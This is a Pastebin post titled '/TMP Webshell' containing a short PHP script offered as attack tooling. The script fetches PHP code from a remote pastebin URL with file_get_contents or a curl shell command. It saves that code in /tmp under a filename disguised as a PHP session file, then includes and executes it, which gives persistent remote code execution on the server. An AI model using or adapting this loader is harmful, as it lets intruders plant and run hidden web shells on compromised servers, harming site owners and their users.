Advertisement
P22DX

/TMP Webshell

Mar 9th, 2018
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.53 KB | None | 0 0
  1. <?php
  2. $URL = 'https://pastebin.com/raw/XsHL7qxq';
  3. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php';
  4. function M() {
  5.     $FGT = @file_get_contents($GLOBALS['URL']);
  6.     if(!$FGT) {
  7.         echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`;
  8.     } else {
  9.         $HANDLE = fopen($GLOBALS['TMP'], 'w');
  10.         fwrite($HANDLE, $FGT);
  11.         fclose($HANDLE);
  12.     }
  13.     echo '<script>window.location="?open";</script>';
  14. }
  15. if(file_exists($TMP)) {
  16.     if(filesize($TMP) === 0) {
  17.         unlink($TMP);
  18.         M();
  19.     } else {
  20.         include($TMP);
  21.     }
  22. } else {
  23.     M();
  24. }
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement